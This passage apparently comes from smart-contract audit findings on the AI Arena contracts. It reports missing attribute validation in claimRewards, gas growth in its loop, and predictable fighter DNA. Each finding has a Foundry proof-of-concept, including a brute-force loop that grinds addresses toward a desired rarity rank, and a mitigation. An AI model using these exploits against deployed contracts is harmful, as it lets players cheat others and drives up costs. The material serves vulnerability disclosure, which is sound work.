    _modelURIs[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";

    // This can be whatever
    string[] memory _modelTypes = new string[](1);
    _modelTypes[0] = "original";

    // This can be set to an unsupported values
    uint256[2][] memory _customAttributes = new uint256[2][](1);
    _customAttributes[0][0] = uint256(150);
    _customAttributes[0][1] = uint256(150);

    vm.prank(player);
    _mergingPoolContract.claimRewards(_modelURIs, _modelTypes, _customAttributes);

    // Element and weight are now indeed set to unsupported values.
    (uint256 weight, uint256 element, , , , , , ,) = _fighterFarmContract.fighters(2);
    assertEq(weight == 150, true);
    assertEq(element == 150, true);
}

Tools Used

Manual review

Recommended Mitigation Steps

In _createNewFighter revert if the customAttribute[0] or customAttribute[1] is greater than the allowed values.

Assessed type

Invalid Validation

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/MergingPool.sol#L139-L167

Vulnerability details

Impact

claimRewards call will get more expensive for new winners with each passing round which wastes funds from the users and potentially causes DOS in a very distant future.

Proof of Concept

The claimRewards reads from storage in every iteration of the for loop multiple times. This increases gas consumption with each passing round. This gas consumption will increase for new users where numRoundsClaimed[msg.sender] = 0.

// STORAGE READ(roundId)
for (uint32 currentRound = lowerBound; currentRound < roundId; currentRound++) { 
        numRoundsClaimed[msg.sender] += 1;                                  <- STORAGE READ
        winnersLength = winnerAddresses[currentRound].length;               <- STORAGE READ
        
        for (uint32 j = 0; j < winnersLength; j++) {
            if (msg.sender == winnerAddresses[currentRound][j]) {           <- STORAGE READ
                _fighterFarmInstance.mintFromMergingPool(                   <- STORAGE READ
                    msg.sender,
                    modelURIs[claimIndex],
                    modelTypes[claimIndex],
                    customAttributes[claimIndex]
                );
                claimIndex += 1;
            }
        }
    }

Coded POC

Add this test to MergingPool.t.sol, add import "forge-std/console.sol"; and run with forge test --match-path ./test/MergingPool.t.sol -vvv

function testInreasingGasUsage() public {
    address player = vm.addr(4);
    address player2 = vm.addr(5);
    _mintFromMergingPool(player);
    _mintFromMergingPool(player2);

    uint256[] memory _winners = new uint256[](2);
    _winners[0] = 0;
    _winners[1] = 1;

    // winners of roundId 0 are picked
    _mergingPoolContract.pickWinner(_winners);
    assertEq(_mergingPoolContract.isSelectionComplete(0), true);
    assertEq(_mergingPoolContract.winnerAddresses(0, 0) == player, true);

    string[] memory _modelURIs = new string[](1);
    _modelURIs[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";

    string[] memory _modelTypes = new string[](1);
    _modelTypes[0] = "original";

    uint256[2][] memory _customAttributes = new uint256[2][](1);
    _customAttributes[0][0] = uint256(1);
    _customAttributes[0][1] = uint256(80);

    // Claim rewards
    uint256 gasBefore = gasleft();
    vm.prank(player);
    _mergingPoolContract.claimRewards(_modelURIs, _modelTypes, _customAttributes);
    uint256 gasAfter = gasleft();

    uint256 gasUsed = gasBefore - gasAfter;
    console.log("Gas userd in round 0  :", gasUsed);

    // Increase round count
    for(uint i = 0; i < 200; i++) {
        _mergingPoolContract.pickWinner(_winners);
    }

    // New winner after 200 rounds
    address player3 = vm.addr(6);
    _mintFromMergingPool(player3);

    _winners[0] = 3;
    _mergingPoolContract.pickWinner(_winners);

    // Claim rewards
    gasBefore = gasleft();
    vm.prank(player3);
    _mergingPoolContract.claimRewards(_modelURIs, _modelTypes, _customAttributes);
    gasAfter = gasleft();
    gasUsed = gasBefore - gasAfter;

    console.log("Gas userd in round 200:", gasUsed);
}

[PASS] testInreasingGasUsage() (gas: 21924097)
Logs:
  Gas userd in round 0  : 395114
  Gas userd in round 200: 842232

Tools Used

Manual review

Recommended Mitigation Steps

Consider using a mapping that indicates at which rounds the winner won the rewards and only loop through that.

Assessed type

DoS

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L214 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L254 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L214 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L510 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/AiArenaHelper.sol#L107

Vulnerability details

Impact

Users can game DNA to select certain attributes for their fighter. Users could obtain a rare attribute, which is unfair to other players.

Proof of Concept

Every time a _createNewFighter is called, dna is passed into the function call (the second parameter)

There are 3 _createNewFighter calls total in the FighterFarm contract. Here is how they calculate the DNA.

1.) Call from claimFighters

_createNewFighter(
    ...
    uint256(keccak256(abi.encode(msg.sender, fighters.length))),           <-DNA
    ...
);

2.) Call from redeemMintPass

_createNewFighter(
    ...
    uint256(keccak256(abi.encode(mintPassDnas[i]))),                       <-DNA
    ...
);

3.) Call from mintFromMergingPool

_createNewFighter(
    ...
    uint256(keccak256(abi.encode(msg.sender, fighters.length))),           <-DNA
    ...
);

As we can see the DNA parameter is not random and can be known in advance before the function call that will mint a new fighter executes.

The DNA is used in the createPhysicalAttributes to calculate "random" probabilities for the attributes.

The rarity rank of each attribute is calculated as follows. We can see that if we can select our own DNA we can get the desired rarityRank for an attribute.

uint256 rarityRank = (dna / attributeToDnaDivisor[attributes[i]]) % 100;

If we refer to the three calls from above we can see that we can keep changing the msg.sender in call 1 and call 3 to get a different DNA and calculate rarityRank for desired attributes off-chain, then if the dna matches out desired attributes we can use it to mint a fighter. In call 2 it can be done even easier as the user chooses his own mintPassDna.

This can be done to forcefully get the "rare" attributes for your fighter. Of course, matching all 6 attributes could be pretty intensive on the processing power but 1 element (with a probability of 1) can be matched with 0 effort.

Coded POC

Add this test to the AiArenaHelper.t.sol, add import import "forge-std/console.sol"; and run with forge test --match-path ./test/AiArenaHelper.t.sol -vvv

function getRarityRanks(uint256 dna) public returns(uint256[] memory){
    uint8[6] memory defaultAttributeDivisor = [2, 3, 5, 7, 11, 13];
    string[6] memory attributes = ["head", "eyes", "mouth", "body", "hands", "feet"];

    uint256[] memory rarityRanks = new uint256[](6);
    for(uint j = 0; j < defaultAttributeDivisor.length; j++) {
        rarityRanks[j] = (dna / defaultAttributeDivisor[j]) % 100;
    }

    return rarityRanks;
}
    
function testPredictDNA() public {
    uint256 fightersLength = _fighterFarmContract.totalSupply();

    // DNA that matches our desired attributes.
    uint bestDna = 0;

    for(uint256 i = 100; i < 100000; i++) {
        // Just change the msg.sender in the dna hash
        uint256 dna = uint256(keccak256(abi.encode(address(uint160(i)), fightersLength)));

        uint256[] memory rarityRanks = new uint256[](6);
        rarityRanks = getRarityRanks(dna);

        // 32 is the desired rarity rank for attribute[0]. Could be anything or even a range.
        if(rarityRanks[0] == 32){
            bestDna = dna;
            break;
        }
    }

    console.log(bestDna);
}

Tools Used

Manual review

Recommended Mitigation Steps

To avoid the predictability of the DNA a random number has to be used that is not known in advance. This could be implemented using a Chainlink VRF.

Assessed type

Other